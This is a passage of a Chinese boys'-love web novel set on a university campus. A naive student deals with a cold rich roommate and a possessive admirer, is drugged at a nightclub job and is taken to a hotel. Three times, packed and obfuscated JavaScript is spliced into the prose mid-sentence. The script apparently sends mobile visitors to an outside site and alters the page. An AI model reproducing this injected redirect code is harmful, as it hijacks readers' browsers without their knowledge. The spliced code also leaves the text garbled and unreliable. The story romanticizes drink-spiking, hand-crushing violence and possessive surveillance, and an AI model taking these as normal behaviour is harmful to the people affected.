陈悯之没注意到顾明珏并没有问秦陌是谁,只是很夸张地把之前室友告诉自己的复述了一遍:“你不知道吗?他是秦氏集团的独子,就是互联网巨头那个秦氏集团,他搞电脑很厉害的。” 顾明珏脸上没什么波动,停顿一会儿道:“哦,这样啊,可我听说他似乎不大好相处。” 这话一出,陈悯之才后知后觉地反应过来,在背后论人是非不太礼貌,于是试图维护一下自己室友在外的形象:“还好,他只是有点洁癖,不喜欢别人碰他的东西,其实人很好的。” 顾明珏含着笑看他,笑意却不达眼底:“悯之对他很了解呢,平时经常和他一起玩吗?” 陈悯之似乎很惊讶于他的这个问题:“我哪儿能和秦陌一起玩,像他这种天之骄子,和我们普通人有壁。” 顾明珏的面容仿佛舒展了:“说的也是,秦陌这个人不好招惹,你平时还是少跟他接触,有什么事情,找我就可以。” 想到之前几次和秦陌不太愉快的相处,陈悯之深以为然地点了点头:“知道了。” 说话间,二人已经走到了走廊尽头的浴室,分头进了隔间。 今天下午回来的时候,陈悯之顺路在超市买了一个起泡网,可以把香皂装在里面,这样香皂就不容易从手里滑出去了。 陈悯之美滋滋想着,以后再也不用经历香皂滑到隔壁的尴尬事件了。 但下一刻他身侧的隔板却被敲响了。 顾明珏的声线透过雾蒙蒙的水汽传过来:“悯之,我忘带沐浴露了,可以借一下你的吗?” 陈悯之:“啊?可我没有沐浴露,只有香皂。” 顾明珏没有停顿地问:“那可以借一下你的香皂吗?” 陈悯之犹豫地低头看了眼沾满白色泡泡的香皂:“可这是我用过的...” 顾明珏温和地说:“没关系,我没有洁癖,不介意。” 陈悯之心里觉得有点怪怪的,但又说不出哪里怪,但顾明珏都说不介意了,他再不借未免显得小气,于是道:“那好吧。” 他把香皂在莲蓬头下冲了一下,洗干净上面的泡泡,从隔间下面的缝里递过去:“给你。” “谢谢。”一只骨节修长的手从他手里接过香皂,离开时触碰到陈悯之湿润的掌心,有些痒痒的。 陈悯之没在意,开始专心地抹自己身上的泡泡,从很小的时候,他就发现只要把香皂泡沫和水按照合适的比例混合,再用手指圈成一个圆,就能吹出晶莹剔透的大泡泡。 那边顾明珏也在抹香皂,浴室里没有冲水声,一时间显得格外安静。 于是陈悯之便听到了从隔壁传来的,像是自言自语般的低声喟叹:“好香...” 陈悯之:“嗯?什么好香?” 没得到回答。 “哦,”他想了想,“你在说我的香皂吗?” 那头安静了两秒,才响起顾明珏的声音:“嗯,你的香皂是什么牌子的?我还从来没闻到过这种香味。” 陈悯之:“那个是我老家的手工皂,外面没有卖的,我带了很多上来,你喜欢的话我送你一块儿新的。” 顾明珏:“好,谢谢悯之。” 陈悯之玩儿着自己手上的泡泡,满不在乎地道:“小事儿,大家都是朋友嘛。” 那头顾明珏没回答,陈悯之也就不再说话,他吹了一个圆圆的大泡泡出来,正很满意地欣赏,窗外忽然飘进一阵风,把他手上的泡泡送上了天。 然后他就看见那个又大又圆的泡泡,越过洗澡间的隔板,飞入了隔壁顾明珏那里。 陈悯之:“... ...” 他以后再也不跟认识的人一起洗澡了。 陈悯之在心底虔诚祈祷顾悯珏看不见看不见,结果没两秒就听一道含着笑的声音:“悯之,这是你的泡泡吗?” 陈悯之脚趾尖儿都攥麻了,声线僵硬地说:“不好意思啊,吹到你那边去了。” 那头传来顾明珏带着笑意的声音:“没关系,你随意。” 陈悯之尴尬得想马上逃离这个地球,为了避免出来和顾明珏碰面,他也不玩儿泡泡了,三两下冲完澡,套上衣服喊了一声:“我洗完了,先走了啊。” 说完也不等人回答,落荒而逃似的跑出了浴室。 也就顺理成章地忘了一件事。 ——他的香皂还在顾明珏那里。 透明水珠顺着漂亮的人鱼线沟壑滚落,男人垂眸,看着那块儿自从他拿到手就没用过的、有着和陈悯之一样味道的纯白香皂,很低地笑了一声。 * 刚开学的课程不难,还有一大半都是通识课,课上聊天看小说追剧的什么都有,一笔一划在本子上做笔记的陈悯之反倒显得像个异类。 王鸿洲戴了个耳机,坐在他旁边打游戏,用胳膊肘戳了戳他:“下课笔记借我复印一份啊。” “好。”陈悯之一边答应着,一边去瞄坐在他斜前方隔了几排 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14867705|159515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的秦陌。 他注意到秦陌电脑上同时开着两个窗口,一个是用来记课堂笔记的word文档,另一个像是什么合同文件,上面好像盖有红色的公章。 陈悯之顿时又对学霸的效率肃然起敬了,他自己是个单线程生物,大脑在同一时间只能处理一个程序,程序多了系统就会紊乱,所以很多时候都羡慕学霸自带的高效处理器。 课后老师布置了一个小作业,要求看一本社科类书籍然后写读后感,但这本书已经绝版了,网上和实体书店都买不到,只有学校图书馆里收藏着几本。 陈悯之一下课就往图书馆跑,但仅有的几本馆藏还是毫不意外地被借完了。 晚上上完课后,他遗憾地回了寝室,打算想想其他办法,却看见秦默桌上正巧放着那本书。 而秦陌本人正戴着耳机,好像在进行什么跨洋通话,说的还是法语。 陈悯之很耐心地等他讲完,才试探着上前问:“那个,你借到书了?等你看完能不能借我看看?” 秦陌淡淡抬起眼看他,陈悯之连忙解释:“我中午下课就去了图书馆,但书已经被借完了。” 那双墨一般的眸子凝在他身上,正当陈悯之以为要被拒绝的时候,却出乎意料地听到了秦陌的回答。 男人的声线含着一种冷感的磁性:“可以,但你不能再转借给别人。” 陈悯之想起之前王鸿洲说秦陌不喜欢别人碰自己东西的事,对此表示理解:“你放心,我不会借给别人的。” 秦陌骨节棱棱的手握着书脊,递给他。 陈悯之感激涕零地接过,拿到手里才想起什么:“啊,你先看吧,你看完我再看。” 秦陌:“我看过了。” 陈悯之:“??” 陈悯之:“你不是刚借到吗?” 难道学霸用的都是量子阅读?! “这是我自己的书。”秦陌淡淡道,“我之前看过了。” 陈悯之在讶然中低头一瞧,才发现书脊上并没有学校图书馆贴的编码,而且整本书看上去保存得极好,并不像图书馆里的书那般老旧。 “你真厉害,这么老的书都有。”陈悯之真诚夸赞道。 “诶,可我记得之前你桌上没有这本书啊?” 秦陌镜片后的眸子似乎闪烁了一下,目光压下来时显得有些沉:“你看了我的书桌?” 陈悯之后知后觉自己泄露了什么,下意识后退一步,小声说:“我就是路过时顺便瞄了一眼,想看看你平时都看什么书,没有碰你的东西,真的。” 单纯出于对学霸的好奇而已。 秦陌脸色有一秒钟的不自然,他移开视线:“你记错了。” “哦。”陈悯之也这么觉得,他记性本来就不是很好。 他又扬起笑容:“总之谢谢你啦。” “嗯。” 秦陌没再看他,低头回复手机上的消息,陈悯之便雀跃地回到自己位置上看书了。 他不知道,秦陌正在回复的聊天界面是这样的: 【少爷,您要的书在C省的老藏书室,我已经派人用专机加急送过去了,您收到了吗?】 5. 第 5 章 5 最近几天,陈悯之经常在专业课上碰到顾明珏,对方像是真对计算机很感兴趣,但也是真外行,总是拿一些很基础的问题来问他。 陈悯之每次都很耐心地给他讲解,顾明珏就会含着笑看他:“悯之好厉害。” 陈悯之有点怪不好意思的:“这有什么好厉害的,都是很基础的内容,秦陌才算厉害呢,他都会自己做软件了。” “是吗?”顾明珏笑着,桌子下的手指节攥得咔咔作响。 陈悯之奇怪地朝声音来源看了一眼:“什么声音?” 顾明珏松开手指,皮笑肉不笑地道:“嗯?哪儿有什么声音,你听错了吧。” “哦。” 陈悯之忽然严肃起来:“对了,我发觉你上课的时候总是看我不看老师,你这样怎么学得好呢,你上课不认真听,下课又花多余的功夫补课,效率会很低的。” 说来奇怪,明明这话不太好听,但顾明珏的脸色却比刚开始好了很多。 “嗯,谨遵陈老师教诲。” 男人眉眼清俊,清晨的阳光透过窗棂落入他眼里的时候,让那双眼显得像一捧波光粼粼的湖水,温柔得都快化开了。 陈悯之看得呆了一瞬,觉得顾明珏在校草评选中夺得第一不是没有原因的。 但他同时又觉得很奇怪,顾明珏对他说自己没有什么朋友,也从来没交过女朋友,按理说这样长得好性格又好的人,怎么会交不到朋友呢。 陈悯之唯一想得通的解释就是顾明珏之前一直有严重的心理疾病,但是最近在他的热心帮助下有所好转。 想到这里,他又觉得不能对精神病人要求太严格了,说话要委婉温和一点,于是补充道:“那个,我没有教育你的意思,只是觉得这样你能学得好一些。” 顾明珏温温柔柔地道:“嗯,我知道的,悯之对我一直很好。” “朋友就该互相帮助嘛。”陈悯之不甚在意地道,“啊,我的衣服你好像还没还我。” 顾明珏露出歉意的神情:“抱歉,那件衣服我弄丢了。” 陈悯之睁大眼睛:“这也能丢?” “我放在洗衣机里洗的,但去拿的时候已经找不到了。”顾明珏面露遗憾,“可能是有人拿错了吧。” 陈悯之:“那算了吧,没事。” “这怎么行呢,我重新买一件给你。”顾明珏道,“正巧今天有空,你和我一起去商场,挑一件喜欢的。” 陈悯之受宠若惊:“啊,真的不用,那件衣服已经很旧了,也不值什么钱。” “这是我的一点心意,悯之。”顾明珏眼波柔和。 陈悯之:“那好吧。” 反正多逛逛商场对精神病人也挺好的。 但他怎么也没想到,进商场后,顾明珏黑着脸把他挑的一系列黑T恤白T恤灰T恤以及花格子衬衫全都否决了。 陈悯之露出一副直男疑惑脸:“不好看吗?我觉得很好看啊,而且耐穿又实用。” 顾明珏唇角抽了抽:“你只用挑你喜欢的,不用考虑价格和实用问题。” 陈悯之很诚恳地说:“我觉得刚才那件黑色T恤我就挺喜欢的。” 顾明珏头疼地扶额,对店员道:“把那件T恤给他包起来。” 正当陈悯之以为这就算买完了的时候,顾明珏却转身,从陈列的衣架上拿了一件白色长袖衬衫给他:“换上试试。” 陈悯之本来想拒绝说买一件就好,但看着顾明珏实在有点难看的脸色,还是拿上衣服进了试衣间。 当他换好衣服出来时,等在旁边的店员眼睛一亮:“先生,这件衣服比之前那几件更适合你呢。” “有吗?”陈悯之攥着衬衫下摆,“可我之前都没穿过这种风格的。” 他有些局促地问顾明珏:“好看吗?” 顾明珏没回答,忽然朝他走过来,抬手摘下了他的黑框眼镜。 “?” 清晰的视野被剥夺,陈悯之于是没有看见,男人不知何时变得有些深的目光,如有实质般地沉沉落在他身上,像是幽暗的火。 衬衫款式虽然简单,上面没有任何花纹,剪裁和面料质地却都是一流,经典的翻驳领在胸前划出一个深v,露出一小片胸口白皙的肌肤,和胸肌侧边的一点软肉,良好的剪裁则掐出少年纤细的腰线,显得身高腿长。 当然最引人注目的还是那双眼睛,被纯白色衬衫衬托得更黑更大,像漂亮的玛瑙石,却因为看不清东西而显得懵懵懂懂的,并不机灵,反倒让他露出一种诱人而不自知的意味来。 像是一只迷途的羔羊。 顾明珏伸手替他理衣领,指尖却不经意似的划过少年颈侧,声线低而幽沉:“真想把你藏起来。” “什么?”近视的人很大程度上靠眼睛听声音,取下眼镜,陈悯之便好像听不太清顾明珏说什么了。 顾明珏重新换上一副温柔的笑容:“没什么,你穿上很好看。” 一旁的店员笑着说:“先生摘下眼镜穿这件衣服,还要更好看呢,像个小明星。” “是吗?”陈悯之还是第一次被人这么夸,虽然有点害羞但还挺开心的。 可下一刻,顾明珏却把眼镜替他戴了回去。 男人语气淡淡:“还是戴上吧。” “哦。”陈悯之扶了一下有点戴歪了的镜框。 顾明珏又挑了一件黑色夹克外套给他:“以后这件衬衫不要单独穿,外面套一件。” 陈悯之不解:“为什么?” 顾明珏微笑道:“天气凉了,怕你感冒。” * 二人吃过晚饭,顾明珏接了个电话,说临时要去公司处理一点事,抱歉不能陪他回去了。 陈悯之摆摆手和他作别,一个人到商场一楼的网红店,给自己买了一杯奶茶,再打包了两杯回寝室。 但当他喜滋滋地把奶茶递给秦陌的时候,男人冷俊的眉头却蹙了起来:“这是什么?” 陈悯之:“奶茶啊,天街广场那家网红店买的,我排了好久的队呢。” 秦陌:“我不喝这种植脂末和添加剂勾兑的化合物。” 陈悯之一愣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14867706|159515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“啊,你不喜欢吗,我还说你借书给我,买来谢谢你的。” 秦陌没说话,视线落在奶茶精美的包装袋上,指尖微微动了动。 陈悯之懊恼:“我还买了两杯呢。” “两杯?”秦陌漆黑的眸子盯着他,“你给王鸿洲也买了?” 陈悯之:“对啊,我已经喝过了,专门给你们两个带的。” 秦陌冷声道:“我不要了。” 陈悯之:“真的不要吗?我给你买的和我一样的口味,很好喝的。” 秦陌:“不要。” 陈悯之遗憾道:“好吧,那送给宿舍群里的人喝好了,或者等顾明珏回来给他喝。” 王鸿洲不在宿舍,陈悯之便把奶茶放在了他桌上,剩下一杯放自己桌上拍了张照片,发到了整栋宿舍楼的大群里:【多买了一杯奶茶,免费送,想喝的朋友可以直接来402拿】 发完后,陈悯之提着今天的几件新衣服去了走廊尽头的洗手台,新衣服只需要过一遍水,因而他洗得很快,不到十分钟,但当他回到宿舍的时候,桌上的奶茶已经不见了踪影。 “刚才有人来拿奶茶了?”陈悯之问,“这么快啊...” 秦陌背对着他,戴着耳机没回答,估计是没听见。 陈悯之拿起手机看了一眼,奇怪地喃喃:“可是没人给我发消息啊...” 宿舍里依然鸦雀无声。 陈悯之无声叹了口气,现在的人怎么拿了人送的东西也不说声谢谢,真是不讲礼貌。 在他看不到的地方,秦陌面无表情地把装着空奶茶杯的垃圾桶往桌子底下踢了一脚。 晚上陈悯之躺在床上刷手机,无意间在校园大群里瞥到了一则招聘启事。 【星宇俱乐部招兼职服务生!底薪8000+提成,具体根据能到店天数面议,有意私聊,地址xx路xx号】 陈悯之眼睛一亮。 他的家境其实算不上很好。 陈悯之是在一个秋天的雨夜,被养父母在草丛里捡到的。 养父说,他当时尚在襁褓,那样寒冷的天气,如果不是上天怜悯,让他们碰巧看见了他,他活不过那个雨夜。故而给他取名悯之,希望他为人正直,常心存善念,感念上苍再造之恩。 后来养父母意外去世,他便靠着养父母留下的积蓄和政府对失怙儿童的补助生活,家里还有一个已经退休的姥姥,经济上只能说够花,但算不上宽裕。 他已经成年,也该靠自己挣钱了,而且今天顾明珏给他买的衣服花了小一万块,他正愁着怎么给人回礼呢。 陈悯之去加了那个人的□□号。 问了一些基础问题后,陈悯之很满意,就是觉得这工资好像有点太高了,不知道会不会有什么潜在的风险。 当他问出心中的疑虑后,对面回复:【你男的女的?】 陈悯之:【男的。】 对面:【那不就得了,男的能有什么事儿?】 陈悯之想想也是,他一没钱二没色的,能有什么风险?总之先去看看,不行就撤。 6. 第 6 章 6 按照约定的时间,陈悯之在晚八点左右到了星宇俱乐部。 说明来意后,便有人领着他去见了面试的人,对方绕着他看了几圈,满意地对旁边人道:“带他进去。” 到了化妆间,里面的化妆师打量他两眼,对他一身松垮垮的卫衣和运动裤面露嫌弃,从落地衣架上挑出一套制服塞到他怀里:“换上,换好了出来化妆,对了,把你的眼镜摘掉。” 陈悯之疑惑道:“还要化妆吗?” 化妆师:“你不是要工作吗?不换化妆换衣服,你这身又老又土的打扮怎么工作。” 陈悯之试探道:“你们这儿是正规场所吧?” 化妆师像是很惊讶他会这么问:“当然,我在这儿都干了十几年了。” 她一边说一边挑选着桌上的化妆用品:“不过做服务生嘛,受点气是免不了的,有时候客人发脾气了你也得陪笑脸,偶尔被灌两杯酒也是正常的。” 面对这样一位和善的女性,陈悯之渐渐松懈下来,心想受点儿气倒还在他接受范围之内,毕竟工资给得高,加上提成一个月有一万多呢,至于喝点酒,对他一个男生来说也不算什么事儿。 只是他低头看了眼自己手里的衣服,面露难色:“一定要穿这个吗?” 化妆师面不改色:“我们这边都这样穿。” “好吧。” 陈悯之换好衣服出来,化妆师的眼睛骤然瞪大了。 只见少年一身带有洛丽塔元素的王子装,白衬衫的领口和袖子都做成了荷叶褶,领口很高,一直遮到纤细修长的脖颈处,藏住了他漂亮的锁骨,却仿佛更加诱人遐想之下埋藏的风光。 下半身则是一条背带短裤,黑色的带子借助锁扣固定在肩膀处,衬衫下摆扎进裤子里,勒出白娟似的一把细腰,和弧度圆润饱满的臀峰,再往下则是黑色的皮质腿环,将原本笔直修长的大腿勒出一点肉感,上面的金属环扣连接着裤脚和下方的小腿袜。 “我嘞个乖乖,这套衣服简直是为你量身定做的。”化妆师一边啧啧感叹,一边把还在羞耻迷糊的陈悯之推到了座椅上,“坐好,姐保准给你画成夜店里最亮的星。” 陈悯之:“什么星?” 化妆师:“咳咳,我说你长得像大明星。” 近距离下,他才发现少年的皮肤底子很好,细嫩得几乎看不出毛孔,五官线条带着一种钝态的柔软,并不是一眼惊艳夺目的大美人,但却奇异地有一种让人把目光都停留在他身上的魔力,属于看着很舒服,越看越好看,不自觉就被他吸引住的类型。 化妆师从业十几年,阅人无数,这种类型的美人却是第一次见。 他原本想给陈悯之铺个眼影,再加深一下唇色,却发现无从下笔。 少年脸上的每一处都仿佛生长得恰到好处,构成一种非常和谐耐看的美,眼角的淡红色小痣更是画龙点睛之笔,为他整个人都添上一种脆弱感,让人见了就想要为之怜惜。 所谓清水出芙蓉,任何额外的修饰都会破坏这种天生的美感。 化妆师再次感叹:“他们这回真是挖到宝了。” 陈悯之目光清澈地抬头:“嗯?什么宝?” 化妆师咳嗽一声:“没什么,你不需要化妆了,我给你弄个头发就成。” 陈悯之:“哦哦,谢谢。” 半小时后,化妆师用一种欣赏艺术品的目光看着他:“完美。” 没了眼镜的陈悯之看不太清楚镜子里的自己,只知道有些挡住眼睛的刘海被剪短了,然后头发好像弄卷了一点,好像没太大改变,正好他原本也打算去理发店剪一下过长的刘海,心想这工作还挺好,帮他省了理发钱。 正当他以为已经弄完了要站起来的时候,化妆师道:“等等。” 陈悯之:“嗯?” 化妆师拿来一个纯白色的兔耳朵发箍,戴在了他脑袋上。 陈悯之:“呃...我能不戴这个吗?” 总感觉哪里有点奇怪呢。 化妆师义正辞严:“这是工作需要。” 陈悯之:“好吧。” 他知道迪斯尼里面的很多工作人员也会戴这种发箍,应该都差不多的吧。 从头到脚都被改造过一遍后,陈悯之便被派去给包厢的客人送酒了。 他在门口敲了敲:“您好,您的酒水到了。” “进来。” 陈悯之推门而入,扑面而来是嘈杂的音乐声和混乱的光影,里面坐着的人个个穿着不菲,一看就是些非富即贵的公子哥。 他还是第一次来这种地方,虽然有点紧张,但还算能适应,他步履平稳地走进去,把托盘里的酒水和小吃放到桌上。 刚要离开,胳膊忽然被人拉住,身后传来一道戏谑的声音:“新来的吗?小兔子?” 陈悯之回过头,见拉着他的是一个穿花衬衫的男人,他点点头,然后掰开了男人放在他胳膊上的手。 对方似乎心情很好,对他的动作并不在意,目光却一直玩味地流连在他身上:“我就说这么漂亮的宝贝,要是见过,我不可能没有印象。” “来,陪哥哥喝一杯。” 陈悯之被拉得坐了下去,原本男人是把他往自己腿上拉,但陈悯之中途扭了一下,最后坐在了男人身侧。 与对方靠在沙发上的舒展姿态相比,他修长光洁的双腿并着,显得有些局促:“我能只喝一口吗?” 男人懒洋洋地掀起眼皮:“嗯?” 然后他就见这只穿着背带裤,露着戴腿环的漂亮大腿,顶着一双毛茸茸白耳朵的小兔子,眼珠子黑黑的,很认真地看着他说:“我一会儿还要工作,不能喝多了。” “哈哈哈哈...”男人忽然捂着肚子大笑起来,“真是个可爱宝贝。” 陈悯之没明白对方的笑点在哪里,只知道自己好像被嘲笑了,幸好周围环境闹哄哄的,应该没什么人注意这边。 男人从桌上拿起一杯酒,递到他唇边:“那就一口吧,来,哥哥喂你。” 陈悯之扶着酒杯:“谢谢,我自己来就好。” 冰凉的酒液划过喉咙,带出一阵火辣辣的刺 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秦陌声音森冷得像是在深不见底的古井里泡了十年:“我倒想问问你,为什么会出现在这里,还穿成...” 男人仿佛卡顿了一下,最后那几个字近乎是咬牙切齿:“...这幅模样。” 闻言,少年纤长的睫毛扫动两下,配上他那双圆润乌黑的大眼睛,让他显得十分无辜,他不明所以地道:“我来这里打工啊,这是我的工作服。” “咔嚓嚓——” 又是一阵清晰的骨裂声传来,与之一同响起的还有男人更惨烈的叫声:“啊啊啊啊啊啊啊——别捏了,别捏了秦哥,碎了,碎了啊啊啊啊我的手!!!” 陈悯之吓得又抖了一下,但还是鼓起勇气说:“你、你别把人家手捏断了。” 秦陌盯着他,忽然笑了一下。 陈悯之抖得更厉害了,虽然不知道为什么,但直觉告诉他,比起那个人的手,现在秦陌更想捏断的好像是他的脖子。 从第一声惨叫响起时,包厢里就已经陷入了寂静,但或许是站在事件中心的男人周身气场太过强大,那张森寒到近乎扭曲的俊脸又进一步增添了这种恐怖,这阵诡异的寂静持续了快一分钟,众人才如梦初醒般,纷纷上前来打圆场。 “要不算了吧秦哥,周少也不是故意的,谁叫您平时男色女色都不近,大家都不知道这是您的人。” “我看也是,这小兔子您喜欢带走就行了,只要您说一声,咱跟谁抢也不敢跟您抢啊。” “就是就是,大家都是朋友,别伤了和气。” 过了将近半分钟,空气里才响起男人冰冷轻蔑的声音:“谁跟你们是朋友。” 秦陌没有去看众人难看到像是被扇了巴掌一样的脸色,他松开手指,像是扔垃圾一样,任凭那只骨头已经断掉的手软塌塌地从半空中掉落下去,然后从桌上抽出一张湿巾,把自己的手从指缝到指尖都擦了一遍。 做完这一切,他神色冰寒,拉起脸上已经开始泛红,整个人却还在愣神中的陈悯之,大步跨出了包厢门。 7. 第 7 章 7 男人本就生得身高腿长,步速又很快,每一步都跟携着怒火似的,陈悯之被攥着手腕都有点跟不上他的速度,只能踉踉跄跄地小跑着。 可他没跑多久就感觉身体发软,好似肌肉中的力气在一点点流失,到最后脚步都快拖到地上。 好奇怪...他这是怎么了?醉了吗? 可他明明不是沾酒就醉的体质啊,高考结束那天班上聚餐,他喝了一罐啤酒都没醉呢。 陈悯之脑袋里想不明白,却不得不开口请求:“慢、慢一点。” 秦陌显然也注意到了他身体的异常,停步盯向他,墨色的眼睛在幽闭的走廊里显得更黑,像望不见底的深渊。 男人声线森冷得可怕:“你是三岁小孩吗?什么人递的酒你都敢喝?” 陈悯之脸已经被红.潮浸透了,脑袋也开始发晕,但还是很努力地回答着男人的话:“这是我的工作啊,不喝我怎么工作...唔、痛,你不要捏我。” 秦陌费了好大劲才控制住自己的力气,没有把少年细瘦的手腕捏碎。 但他自己的牙快要咬碎了。 “我真没想到你是这种人。” 那一瞬间,男人的眼底闪过愠怒、鄙夷,还有一丝说不清道不明的情绪,但陈悯之此刻眼睛花花,脑袋晕晕,什么也没捕捉到。 他只是不明所以地问:“哪种人?” 秦陌却没有回答他,而突然放开他的手走了。 三秒钟后,陈悯之疑惑地看着去而复返的男人:“你怎么又回来了?” 秦陌咬牙切齿:“你是真不知道酒里有药吗?” 陈悯之很惊讶地睁大眼睛:“药?” 他活了十八年,就没离开过家乡那个小城市,在十八岁之前他的全部生活就是学习,养父母更是在他尚未成年时就去世了,没有人教给他社会的黑暗面。 加上在学校里所受的教育,让他一直坚信现在都是法治社会,导致在真正的社会面前,他的阅历形同一张白纸。 看着陈悯之这幅装都不可能装得出来的蠢样,秦陌奇异地平静了:“你是真不知道。” 这次是陈述句。 陈悯之露出恍然大悟的神情:“是电视剧里那种春.药吗?怪不得我觉得身上热乎乎的,头也有点晕呢...” 还有更难以启齿的地方,也很不舒服,但陈悯之目前残存的理智让他没有说出口。 秦陌:“... ...” 他有些头疼地揉了揉眉心,重新攥住陈悯之的手腕:“跟我走。” 陈悯之:“去哪儿?” “医院。” 但秦陌没想到,一路上都还算乖顺的少年,一听这话,忽然剧烈地挣扎起来:“不要,不要去医院。” 秦陌简直要气笑了:“不去医院你想去哪儿?” 他不知道,此刻陈悯之脑子里想的是,去了医院大家不就都知道他喝春.药了,多丢脸,说不定还会误会他是自己去找鸡中了招,那他的清白岂不是没了。 陈悯之想了想说:“我想回宿舍。” 秦陌冷笑一声:“回宿舍让别人也看见你这幅发.春的模样吗?” 陈悯之不满地甩开他的手:“这种药不都是睡一觉就好了,我看电视上都是这样。” “睡一觉?”男人声音森森的,眸光近乎阴寒,“你想找谁睡一觉?” “嗯...”药效发作得很快,二人拉扯这一阵,陈悯之感觉他的脑袋好像更沉了,也不对,又好像更轻飘飘了,总之他现在不太能听清,也不太能理解秦陌的话,只能摇着脑袋说:“不知道。” 少年脑袋上戴着软软的毛绒兔耳朵,一摇头,头顶两只雪白的兔耳朵也跟着摇晃起来。 秦陌死死盯了他两秒,突然弯腰抄过他的膝弯,将他打横抱了起来。 陈悯之不解:“你抱我做什么?” 他嘴上这么问,手臂倒是很自然地圈住了男人的脖子,像是上了树的树袋熊一样,本能地去抓不让自己掉下去的树干。 察觉到他的动作,秦陌身体微顿,迈着步子,目不斜视:“你现在能自己走?” 陈悯之身上的确使不出力气,于是他很礼貌地说:“那麻烦你送我回宿舍了。” 秦陌抿着唇没回答,从陈悯之的视角望过去,只能看到男人线条明晰的下颌角,和削薄的唇,那双向来冷漠的眼睛隐在反光的镜片后面,让他看不清里面的东西。 不过秦陌怀里靠起来还挺舒服的,陈悯之迷迷糊糊地想,肩膀很宽,抱着他的手臂也十足有力,稳稳当当,一点儿都不觉得晃。 要是他也能有秦陌那样的肌肉就好了,要不等有空的时候他也去健健身吧?不然万一以后哪天顾明珏又投湖了,他去捞他还得像上次一样大喘气。 陈悯之这么想着,鬼使神差地伸手去摸身前的胸肌,摸了一下,手感很好,弹性极佳,再摸一下。 秦陌身体僵硬了一下:“你做什么?” 陈悯之:“你胸好大。” 男人上半身只穿了一件黑色衬衫,因为被他靠着,衬衫布料紧紧贴在身上,勾勒出漂亮结实的两块胸肌。 秦陌声音微哑:“你喜欢?” 陈悯之:“当然,是个男人都会喜欢吧,你怎么练的?我也想练。” 说完,陈悯之感觉男人握住他膝弯的手掌突然用力,像要把他的骨头捏碎一样。 陈悯之很委屈地说:“你不告诉我就不告诉我嘛,捏我干什么,我要被你捏坏了。” 秦陌听着这些奇怪的语句,额上的青筋都要跳出来。 他简直不知道陈悯之的脑回路是怎么长的,这人活到这么大还没被人拐去卖了真是个伟大的奇迹。 他冷冷吐出两个字:“闭嘴。” 陈悯之:“哦。” 半分钟后,陈悯之:“可你不是有洁癖吗?抱我不会觉得脏吗?我还喝了酒诶。” 不知道是不是走廊里的光线原因,陈悯之觉得男人的脸色好像有点发青。 他正准备关心一下,就听到头顶冷得能掉冰渣子的声音:“你再多说一句话,我就让人把你的嘴缝起来。” 陈悯之不说话了。 因为他觉得秦陌真的会让人把他的嘴缝起来,用的还是最粗的那种钢针。 陈悯之脑袋沉得厉害,竟不知不觉在男人怀里睡了过去,可醒来时却发现自己并不在宿舍,而是在一间装修奢华的浴室里。 而他此刻正坐在浴缸中,一旁的花洒咕嘟嘟放着热水,把他身上的衣服都弄湿了。 陈悯之脑袋懵懵地问:“这是哪儿?” 秦陌:“酒店。” 陈悯之瞪大眼睛:“你带我来开房了?” 秦陌被他的措辞噎了一下,额头的青筋几度跳动:“是我给你开了间房。” 什么叫做带他来开房?搞得他们像是有什么不正当的关系一样。 算了,和一个脑子不清醒的人计较什么。 秦陌平复好情绪:“不是不愿意去医院?那就在这里自己解决。” 陈悯之觉得药效大概是已经全部发挥出来了,因为他现在脑袋不沉了,反倒轻得像是飘在了云端,身体更是热得能冒烟儿,最难受的还是下面,又胀又痛,一种说不清的麻痒像是从骨头缝里钻出来,爬满了全身。 但即使这样,他还是费劲地攀上浴缸边沿想要爬出来。 秦陌眼疾手快摁住他:“你做什么?” “去退房,这家酒店看起来好贵,我给不起房钱,我要回宿舍去。”陈悯之一只胳膊被人捏着,剩下的手脚却还是不遗余力地想要爬出去。 秦陌一把将已经抻了半个身子出去的人扯回来:“房钱我已经付了,不需要你给。” “这怎么行。”陈悯之瞪圆眼睛,随即又蔫儿巴巴地垂下来,“现在又欠上你了。” 他欠顾明珏的人情都还没还完呢,现在工作也泡汤了,还倒欠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14867708|159515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秦陌钱,陈悯之有点想哭。 秦陌不知道这句话的重点是在“你”而不是在“又”上,只当陈悯之说的是欠自己两次,冷哼道:“你知道就好。” 少年缩着肩膀,头顶毛茸茸的兔耳朵也沾了水,低垂下来,长长的眼睫耷拉着,看上去真像一只蔫头耷脑的兔子。 不对,兔子都比他聪明,自然界没有哪只兔子会蠢到主动把自己送进捕食者嘴里。 秦陌恨铁不成钢地想。 他问:“你很缺钱吗?为什么要去那种地方打工?” 陈悯之想也不想地说:“我欠顾明珏人情,打算挣钱给他买礼物。” 